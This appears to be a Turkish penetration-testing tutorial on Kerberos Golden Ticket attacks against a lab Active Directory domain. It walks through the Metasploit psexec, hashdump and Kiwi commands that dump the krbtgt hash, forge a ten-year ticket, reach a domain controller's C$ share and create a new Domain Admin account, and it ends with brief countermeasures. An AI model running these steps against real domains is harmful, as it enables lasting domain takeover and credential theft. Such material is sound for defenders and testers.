Sızma testlerinde veya saldırılarda etki alanı yönetici hakları temel olarak 2 şekilde elde edilir:
- Kurum ağında etki alanı yöneticisinin jetonu (token) ele geçirilebilir. Bir kullanıcının jetonunun ele geçirilmesi ile ilgili örnek bir durum için bakınız. Etki alanı yöneticisinin jetonunu elde eden saldırgan jeton içerisindeki biletin (ticket) süresi boyunca -bilet yenileme olayı ihmal edilmektedir- istediği işlemi gerçekleştirebilir.
- Benzer şekilde etki alanı yöneticisinin parolasını elde eden saldırgan, parola değişmediği sürece bu kullanıcı hesabına ait parola ile istediği işlemi gerçekleştirebilir. Örneğin, kendisine özel bir kullanıcı oluşturup o kullanıcıyı etki alanı yöneticisi yapabilir.
Bu yazıda etki alanı yöneticilik yetkisinin yıllar sonra bile kullanılabilmesine imkan sağlayan bir yöntem incelenecektir.
Yazıda DC rolüne sahip bir Windows Server 2008 R2 sunucu ve bu etki alanındaki (sirket.local) Windows 7 bir istemci kullanılacaktır.
Yazı 5 adımdan oluşmaktadır:
- KDC, KRBTGT, TGT gibi konular hakkında ön bilgilendirme
- DC makinesine meterpreter oturumu elde edilmesi ve bir takım bilgiler toplanması
- DC üzerinde altın bilet (Golden Ticket) oluşturulması
- Standart bir kullanıcının haklarıyla ele geçirilmiş olan bir istemci bilgisayarında Golden Ticket ile etki alanı yönetici haklarının yeniden ele geçirilmesi
- Alınabilecek önlemler
1) Genel Kavramlar
Bir etki alanı oluşturulduğunda KRBTGT adında bir kullanıcı oluşur. Eğer ortamda çok fazla RODC varsa, birden fazla krbtgt hesabı da (sonuna birer ID eklenmiş şekilde) bulunabilir.
Etki alanındaki krbtgt hesabı ile ilgili ayrıntılı bilgi için net aracı kullanılabilir.
Not: Bu kullanıcı hesabının pasif olduğu dikkat çekmektedir.
Microsoft etki alanı ortamında kimlik doğrulama temel Kerberos protokolü üzerine kurulmuştur. Kerberos kimlik doğrulaması aşağıdaki gibi tanıtılabilir:
Yukarıdaki ekran görüntüsünde, 2. adımda, istemci TGT almak istediğinde, sunucu bu talebi KRBTGT hesabının NT özeti ile şifreler. Bu sebeple KRBTGT kullanıcısının NT özeti ele geçirildiğinde TGT oluşturulabilir. Bu yazıda belirtilecek olan Meterpreter’daki “Kiwi” eklentisinin oluşturduğu Golden Ticket da yaklaşık olarak bu şekildedir.
Not: KRBTGT hesabının parola özeti kullanıldığı için -bu hesap pasif olmasına rağmen- kimlik doğrulama işlemleri başarılı bir şekilde gerçekleştirilebilir.
İstemci, TGT ile etki alanındaki bir servise direk olarak bağlantı sağlayamaz. Çünkü KRBTGT hesabının parolasına ait NT özeti sadece DC üzerinde bulunmaktadır ve bu nesneyi istemci deşifre edemez. İstemci, bir hizmet almak istediği zaman, elindeki TGT’yi KDC’ye gönderir, daha sonra da istenilen servise (yetkisi dahilinde) erişim sağlayabilir. Özetlemek gerekirse, servis bileti istenirken TGT bileti ilgili kullanıcıyı betimler / tanıtır ( representation of user identity). Böylece kullanıcıya ait parolaya gerek duyulmadan mevcut TGT ile arzu edilen servise yönelik bilet alınır ve ilgili servisten hizmet alınabilir. Varsayılan olarak bir TGT 10 saat için geçerlidir ve 7 gün boyunca otomatik olarak güncellenir. Bir kullanıcıya ait biletler için Windows klist komut satırı aracı kullanılabilir.
Kerberos kimlik doğrulama ile ilgili ayrıntılı bilgi için bakınız.
2) DC Üzerinde Gerekli Bilgilerin Toplanması
Golden Ticket oluşturmak için aşağıdaki bilgilere ihtiyaç duyulur:
- Etki alanı adı
- Etki alanına ait SID değeri
- Etki alanındaki krbtgt kullanıcısına ait NTLM hash değeri
Bu bilgilerden krbtgt kullanıcısına ait parolanın NTLM özet değeri etki alanındaki bir DC üzerinden elde edilebilirken, diğerleri herhangi bir makine üzerinden elde edilebilir. Bu yazıda ele geçirilen bir DC üzerinden tüm bilgiler elde edilecektir.
Sızma testi sırasında DC üzerinde oturum açabilecek bir kullanıcının kimlik bilgileri elde edilmiş olsun. Bu bilgiler kullanılarak klasik MSF psexec modülü ile bağlantı kurulabilir:
Böylece DC rolüne sahip makineye Meterpreter bağlantısı oluşur:
MSF Psexec modülünü oluştururken etki alanı adı olarak sirket.local verilmişti. Bunun yanında, systeminfo komutu ile de etki alanı adı elde edilebilir.
systeminfo | findstr Domain:
Mevcut durumda makinedeki mevcut kullanıcılar aşağıdaki gibidir:
net user /domain
wmic useraccount get sid, name
Ayrıca wmic komutunun çıktısında da görüldüğü gibi, etki alanına ait SID değeri “S-1-5-21-2894599646-2825042678-4174893972” olarak elde edilmiştir. SID değerini elde etmek için kullanılabilecek diğer komutlar şu şekildedir:
whoami /user –> Etki alanı kullanıcısına atlandığında
PsGetsid.exe sirket.local –> PsGetSid aracı indirilmelidir.
Son bilgi olan krbtgt kullanıcısının parola özeti ise, meterpreter hashdump komutu ile elde edilebilir.
hashdump
Not: “hashdump” komutu çalışırken hata alınması durumunda bağlantıdaki adımlar gerçekleştirilebilir.
Not: Etki alanındaki kullanıcıların parolalarını çevrim içi olarak NTDS.dit ve SYSTEM dosyalarını kullanarak elde edilmesi için bağlantıdaki yöntem de kullanılabilir.
3) Golden Ticket’ın Oluşturulması
Gerekli bilgiler elde edildikten sonra gerekli bilet oluşturulabilir. Bu amaçla öncelikle “kiwi” adlı eklenti Meterpreter’a yüklenir.
load kiwi
Meterpreter komut satırında “help” komutunun çalıştırılması ile listelenebilir.
Golden Ticket oluşturmak için golden_ticket_create komutu kullanılacaktır. Komutun temel kullanımı aşağıdaki gibidir:
Bu komutla “YeniKullanici” adlı bir hesap için RID değeri 500, 502 ve 512 olacak şekilde bir bilet oluşturulması aşağıdaki gibidir:
golden_ticket_create -d sirket.local -g 500, 502, 512 -k e97cff82951e431e3ee148fef54a528d -s S-1-5-21-2894599646-2825042678-4174893972 -u YeniKullanici -t /root/Golden_YeniKullanici.krbtgt
Microsoft ortamında jeton (Token/SAT) içerisinde de SID değerleri bulunur. Golden Ticket oluşturulurken, SID değeri olarak da 500 (Built-in Administrator), 502 (Krbtgt) ve 512 (Domain Admins) gibi değerler verilir. Bu yetkilere sahip olan hesaplar etki alanında kullanıcı yönetimi işlemlerini gerçekleştirebilir. Örneğin Domain Admins grubuna bir hesap ekleyebilir. SID hakkında ayrıntılı bilgi için bakınız.
Böylece, Aktif Dizin üzerinde var olmayan bir kullanıcı için bir Kerberos bileti oluşturulmuştur. Kısacası Golden Ticket, bit çeşit sahte KDC (Key Distribution Center) olarak davranarak geçerli bir TGT oluşturmuştur.
Not: Golden Ticket oluşturma işleminin bir DC veya etki alanında bir bilgisayarda gerçekleştirilmesine gerek yoktur. Mevcut bilgiler olduktan sonra herhangi bir bilgisayarda da hazırlanabilir.
Bu bilet herhangi bir kullanıcıya (krbtgt hariç) veya herhangi bir şeye (etki alanına ait SID değeri ve adı hariç) bağlı olmaksızın kullanılabilir. Yazının devamında bunu görmek için DC’ye bağlantı sırasında kullanılan hesabın (Yonetici) parolası değiştirilir:
4) Golden Ticket’ın Kullanılması
Golden Ticket oluşturulmadan önce standarttan kullanıcı haklarıyla DC’nin C diskine uzaktan erişilemiyorken, Golden Ticket kullanıldıktan sonra DC’nin C diskine girilebildiği görülecektir.
Bu amaçla öncelikle herhangi bir bilgisayar ele geçirilir:
Etki alanı denetleyicileri tespit edilir.
Mevcut durumda SRV1 bilgisayarının C$ diskine erişim sağlanamadığı görülmektedir
net use \SRV1C$
Daha sonra kiwi eklentisi yüklenir.
load kiwi
Mevcut durumdaki tüm biletler aşağıdaki gibidir. Herhangi bir kullanıcının oturum açmadığı bu bilgisayarda, sadece servislere ait biletlerin olduğu görülmektedir. Zorunlu olmamakla birlikte görüntü kirliliği olmaması açısından tüm biletler silinecek ve sonrasında daha önceki başlıkta DC üzerinde elde edilen Golden Ticket yüklenecektir.
kerberos_ticket_list
Böylece, sadece Golden Ticket tarafından oluşturulan bilet (YeniKullanici adlı var olmayan hesaba ait bilet) RAM üzerinde tutulmaktadır.
kerberos_ticket_purge
kerberos_ticket_use /root/Golden_YeniKullanici.krbtgt
kerberos_ticket_list
Yukarıdaki ekran görüntüsünde de görüldüğü gibi, oluşan bu bilet 10 saat değil, 10 yıl geçerlidir. Ayrıca, bir hafta değil 20 yıl süre boyunca yenilenebilir.
Not: Windows komut satırı aracı olan “klist” ile de benzer bilgi elde edilebilir.
Bu durumdayken DC makinesinin (SRV1) C diskine erişim sağlanabildiği görülmektedir.
net use \SRV1C$
dir \SRV1C$
İlk durumda etki alanındaki kullanıcılar aşağıdaki gibidir:
net user /domain
net group “Domain Admins” /domain
Elde edilen yetkilerle bir kullanıcı oluşturulup, Domain Admins grubuna eklenebilir:
net user “Yine Ben” Aa123456 /add /domain
net group “Domain Admins” “Yine Ben” /add /domain
Bu yazıda MSF Kiwi eklentisi kullanılarak işlemler gerçekleştirilmiştir. Bunun yanında, Meterpreter kabuğu elde edilmeden, Windows üzerinde Mimikatz aracı kullanılarak da aynı işlemler gerçekleştirilebilir. Bu işlemler için yazının altındaki “Kaynaklar” incelenebilir.
Not: Mevcut bilgiler varken herhangi bir bilgisayarda (etki alanına dahil olsun veya olmasın) oluşturulan Golden Ticket işlev görmektedir. Bunun yanında etki alanına dahil olmayan bir bilgisayarda kullanılmaya çalışılan Golden Ticket -oluşan ticket bilgisayar üzerinde görülmesine rağmen- işlev göstermemektedir. Bu sebeple, bilet kullanılırken, etki alanındaki bir bilgisayar üzerindeyken biletin kullanılması gerekmektedir.
5) Önlemler
Özetlemek gerekirse,
- Etki alanı saldırılara karşı korunmalıdır. Saldırgan etki alanında yönetici hakkına sahip olamamalıdır.
- Saldırı gerçekleşmişse, KRBTGT hasabının parolası iki kere sıfırlanmalıdır (resetlenmelidir). Ancak bu durumda manuel olarak başlatılması gereken bazı servislerin başlayamamasına, akıllı kart ile kimlik doğrulayan kullanıcıların yeni bilet talep ederek DC üzerinde yük oluşturmasına vb. sebep olabilir. Hatta bazı durumlarda kullancıların kimlik doğrulayamamasına, bilgisayarların etki alanından düşmesine de sebep olabilir.
Kaynaklar
http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
http://rycon.hu/papers/goldenticket.html
https://www.christophertruncer.com/golden-ticket-generation/